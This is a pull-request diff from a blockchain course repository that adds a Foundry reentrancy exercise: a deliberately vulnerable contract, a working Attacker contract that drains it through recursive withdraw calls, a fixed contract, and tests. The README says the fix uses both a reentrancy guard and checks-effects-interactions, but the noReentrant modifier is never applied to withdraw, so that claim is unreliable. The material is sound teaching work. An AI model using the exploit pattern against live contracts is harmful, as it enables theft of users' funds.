Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
45 commits
Select commit Hold shift + click to select a range
ddf5b16
Merge pull request #1 from Olorunshogo/submission/assignment-01/Oloru…
Olorunshogo Jan 24, 2026
3b9852f
Merge pull request #2 from Olorunshogo/submission/assignment-02/Oloru…
Olorunshogo Jan 24, 2026
e384335
chore: update Contributing.md
sprtd Jan 29, 2026
8f5fb83
chore: merge pull request #22 from BlockheaderWeb3-Community/fix-stru…
sprtd Jan 29, 2026
8de052f
feat(assignment-6): Assignment 6 submission
Jan 29, 2026
dd0a35a
Merge branch 'as-w2-d3' into submission/assignment-6/Olorunshogo
Olorunshogo Jan 29, 2026
a796cd8
chore: merge PR #26 from Olorunshogo/submission/assignment-6/Olorunshogo
sprtd Jan 29, 2026
04a9473
chore: merge PR #29 from BlockheaderWeb3-Community/as-w2-d3
sprtd Jan 29, 2026
59bbec9
chore: add all assignments
henrypeters Jan 30, 2026
6777c21
Remove remaining target directories
henrypeters Jan 30, 2026
5c794e4
feat: add block-explorer folder
henrypeters Jan 30, 2026
c1bf04a
feat: implement bip32 in address-derivation
henrypeters Jan 31, 2026
3a581d1
chore: merge PR #38 from henrypeters/submission/assignments/henrypeters
sprtd Feb 3, 2026
293dd49
chore: merge PR #46 from BlockheaderWeb3-Community/as-w2-d3
sprtd Feb 3, 2026
c13ad8b
Feat: Implement the todo contract
Mac-5 Feb 16, 2026
5ab0b38
feat: Initialize the Milestone escrow contract
Mac-5 Feb 18, 2026
c5dbade
feat: Initialize the TimeLock contract
Mac-5 Feb 18, 2026
302755d
feat: Initialize the Escrow contract
Mac-5 Feb 18, 2026
51ef79c
Remove fallback function from Escrow contract
Mac-5 Feb 24, 2026
c8be813
chore: merge PR #140 from Mac-5/submission/assignment-02/Mac-5
sprtd Feb 24, 2026
9197110
chore: Update .gitignore to exclude artifacts and non-code files
Mac-5 Feb 24, 2026
7ec99cd
chor: merge pull request #166 from BlockheaderWeb3-Community/as-w3-d3
sprtd Feb 25, 2026
f34db7b
Add MarketPlace NFT marketplace implementation
Mac-5 Feb 25, 2026
a529767
Change payment transfer to use call method
Mac-5 Feb 25, 2026
b5e8f2e
Fix call syntax for transferring sellerAmount
Mac-5 Feb 25, 2026
8a99712
chore: add test in package.json
sprtd Feb 25, 2026
6892733
chore: merge PR #168 from Mac-5/features/tokens
sprtd Feb 25, 2026
e532bef
chore: merge PR #174 from BlockheaderWeb3-Community/tokens
sprtd Feb 25, 2026
1da58f1
chore: set up for testing
sprtd Feb 25, 2026
7d751f3
chore: merge PR #178 from BlockheaderWeb3-Community/intro-to-testing
sprtd Feb 25, 2026
0a3ce5c
test: validate Timelock deployment
sprtd Feb 25, 2026
06c1a7b
test: revert 0 ETH deposit
sprtd Feb 25, 2026
0beb97a
test: validate reverts
sprtd Feb 25, 2026
5047801
test: revert past unlock time
sprtd Feb 25, 2026
ebcee19
test: validate multiple deposits
sprtd Feb 25, 2026
72c3a67
chore: merge PR #183 from BlockheaderWeb3-Community/intro-to-test-vault
sprtd Feb 25, 2026
60e0b05
upgradable contracts
aji70 Apr 2, 2026
4c7a4b0
Merge pull request #207 from aji70/main
aji70 Apr 2, 2026
7789757
upgradable contracts
aji70 Apr 2, 2026
3e17115
Merge pull request #208 from aji70/main
aji70 Apr 2, 2026
3c41ae0
feat: add upgradeable staking pool system (UUPS, factory, reentrancy …
luhrhenz Apr 2, 2026
d46e2c7
Merge pull request #209 from luhrhenz/feat/staking-upgradeable
aji70 Apr 2, 2026
09728bd
test: submit class test
rayeberechi Apr 13, 2026
c2e6384
update submission with full test suite and fixes
rayeberechi Apr 13, 2026
c5b5fd2
feat: complete assignment with full tests and documentation
rayeberechi Apr 13, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 23 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,26 @@
.vscode/

package-lock.json
node_modules
node_modules

# Dependencies
lib/

# Rust build artifacts
/target
**/target
artifacts/
cache/
typechain-types/

# Logs
*.log

# OS files
.DS_Store
Thumbs.db

# IDE
.idea/
*.swp
*.swo
14 changes: 14 additions & 0 deletions 13-04-26-test/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Compiler files
cache/
out/

# Ignores development broadcast logs
!/broadcast
/broadcast/*/31337/
/broadcast/**/dry-run/

# Docs
docs/

# Dotenv file
.env
3 changes: 3 additions & 0 deletions 13-04-26-test/.gitmodules
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/foundry-rs/forge-std
106 changes: 106 additions & 0 deletions 13-04-26-test/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
# Overview

This project demonstrates a classic **Reentrancy Vulnerability** in Solidity. It includes an exploit contract and a secured version of the contract that implements industry-standard fixes.

---

## Project Structure

* **src/VulnerableContract.sol**: The original contract with the reentrancy bug.
* **src/Attacker.sol**: Malicious contract used to drain funds.
* **src/FixedContract.sol**: The secured version using CEI and a Reentrancy Guard.
* **test/VulnerableContract.t.sol**: Foundry tests that prove the exploit and the fix.

---

## Getting Started

### Prerequisites

Make sure you have [Foundry](https://book.getfoundry.sh/getting-started/installation) installed on your machine.

### Installation & Setup

1. **Clone the repository:**

```bash
git clone https://github.com/rayeberechi/buidl-test.git
cd buidl-test
````

2. **Install dependencies:**

```bash
forge install
```

3. **Compile the contracts:**

```bash
forge build
```

---

## How to Run Tests

1. Run all tests to see the exploit and the fix in action:

```bash
forge test -vv
```

2. To see the step-by-step transaction "trace" of the exploit:

```bash
forge test --match-test test_ExploitDrainsVulnerable -vvvv
```

---

## 1. The Vulnerability

In `VulnerableContract.sol`, the `withdraw` function is unsafe because it sends money **before** updating the user's balance.

Because the contract hasn't recorded that the money is gone yet, an attacker can re-enter the function and repeatedly withdraw funds.

---

## 2. The Exploit

The `Attacker.sol` contract exploits this by:

* **Depositing** a small amount of ETH to become a valid user.
* **Withdrawing** that amount.
* **The Loop:** When ETH is sent back, it triggers the attacker's `receive()` function.
* This function immediately calls `withdraw` again before the first execution finishes.
* This continues recursively until the contract is drained.

---

## 3. The Solution

`FixedContract.sol` uses two layers of protection:

### * Checks-Effects-Interactions (CEI)

* Update the user’s balance **before** sending ETH.
* Prevents re-entry because balance is already set to 0.

### * Reentrancy Guard

* Uses a `locked` state variable via a `noReentrant` modifier.
* Prevents the function from being called again while it's still executing.

---

## 4. Test Results

* `test_ExploitDrainsVulnerable`
Confirms the attacker successfully drains the vulnerable contract.

* `test_LegitUserCanWithdrawFromFixed`
Confirms legitimate users can safely withdraw funds.

* `test_AttackFailsOnFixed`
Confirms the exploit is blocked and funds remain secure.
8 changes: 8 additions & 0 deletions 13-04-26-test/foundry.lock
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
{
"lib/forge-std": {
"tag": {
"name": "v1.15.0",
"rev": "0844d7e1fc5e60d77b68e469bff60265f236c398"
}
}
}
6 changes: 6 additions & 0 deletions 13-04-26-test/foundry.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
[profile.default]
src = "src"
out = "out"
libs = ["lib"]

# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
30 changes: 30 additions & 0 deletions 13-04-26-test/question.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
### Questions:
- Identify the vulnerability in this contract.
- Explain how an attacker can exploit it.
- Rewrite the withdraw function to fix the issue.
```
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

balances[msg.sender] -= amount;
}
```

### Your Tasks:
1. Write an attack contract that exploits this vulnerability
2. Demonstrate the exploit using a test
3. Fix the contract using:
- Checks-Effects-Interactions pattern
- Reentrancy guard
4. Write tests proving:
- Attack fails after fix
- Legit users can still withdraw
19 changes: 19 additions & 0 deletions 13-04-26-test/script/Counter.s.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";

contract CounterScript is Script {
Counter public counter;

function setUp() public {}

function run() public {
vm.startBroadcast();

counter = new Counter();

vm.stopBroadcast();
}
}
24 changes: 24 additions & 0 deletions 13-04-26-test/src/Attacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {VulnerableContract} from "./VulnerableContract.sol";

contract Attacker {
VulnerableContract public vulnerableContract;

constructor(address _vcAddress) {
vulnerableContract = VulnerableContract(_vcAddress);
}

function attack() external payable {
require(msg.value > 0, "Need ETH to attack");
vulnerableContract.deposit{value: msg.value}();
vulnerableContract.withdraw(msg.value);
}

receive() external payable {
if (address(vulnerableContract).balance >= msg.value) {
vulnerableContract.withdraw(msg.value);
}
}
}
31 changes: 31 additions & 0 deletions 13-04-26-test/src/FixedContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract FixedContract {
mapping(address => uint256) public balances;

bool private locked;

modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
// checks
require(balances[msg.sender] >= amount, "Insufficient balance");

// effects
balances[msg.sender] -= amount;

// interactions
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
19 changes: 19 additions & 0 deletions 13-04-26-test/src/VulnerableContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract VulnerableContract {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");

(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

balances[msg.sender] -= amount;
}
}
91 changes: 91 additions & 0 deletions 13-04-26-test/test/VulnerableContract.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableContract} from "../src/VulnerableContract.sol";
import {FixedContract} from "../src/FixedContract.sol";
import {Attacker} from "../src/Attacker.sol";

contract VulnerableContractTest is Test {
VulnerableContract public vulnerable;
FixedContract public fixedContract;
Attacker public attacker;

function setUp() public {
vulnerable = new VulnerableContract();
fixedContract = new FixedContract();
attacker = new Attacker(address(vulnerable));
}

function test_ExploitDrainsVulnerable() public {
// 1. Give a random user 10 ETH and have them deposit it
address user = address(0x123);
vm.deal(user, 10 ether);
vm.prank(user);
vulnerable.deposit{value: 10 ether}();

// 2. Give the Attacker contract 1 ETH to start the attack
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();

// 3. Check if the bank is now empty
assertEq(address(vulnerable).balance, 0);
}

function test_LegitUserCanWithdrawFromFixed() public {
address legitUser = address(0x456);

// Give user money and deposit
vm.deal(legitUser, 5 ether);
vm.prank(legitUser);
fixedContract.deposit{value: 5 ether}();

// Withdraw money
vm.prank(legitUser);
fixedContract.withdraw(5 ether);

// Check if balance is 0
assertEq(address(fixedContract).balance, 0);
}

function test_AttackFailsOnFixed() public {
// 1. Put money in the fixed bank
address user = address(0x1);
vm.deal(user, 10 ether);
vm.prank(user);
fixedContract.deposit{value: 10 ether}();

// 2. Deploy a mini attacker for the fixed bank
FixedAttacker fixedAttacker = new FixedAttacker(fixedContract);

// 3. Give it 1 ETH and tell it to attack
vm.deal(address(fixedAttacker), 1 ether);
vm.prank(address(fixedAttacker));

// 4. Tell Foundry we expect this to fail
vm.expectRevert();
fixedAttacker.attack{value: 1 ether}();

// 5. Verify the bank still has its 10 ETH
assertEq(address(fixedContract).balance, 10 ether);
}

receive() external payable {}
}

contract FixedAttacker {
FixedContract public bank;
constructor(FixedContract _bank) { bank = _bank; }

function attack() external payable {
bank.deposit{value: msg.value}();
bank.withdraw(msg.value);
}

receive() external payable {
if (address(bank).balance >= msg.value) {
bank.withdraw(msg.value);
}
}
}
Loading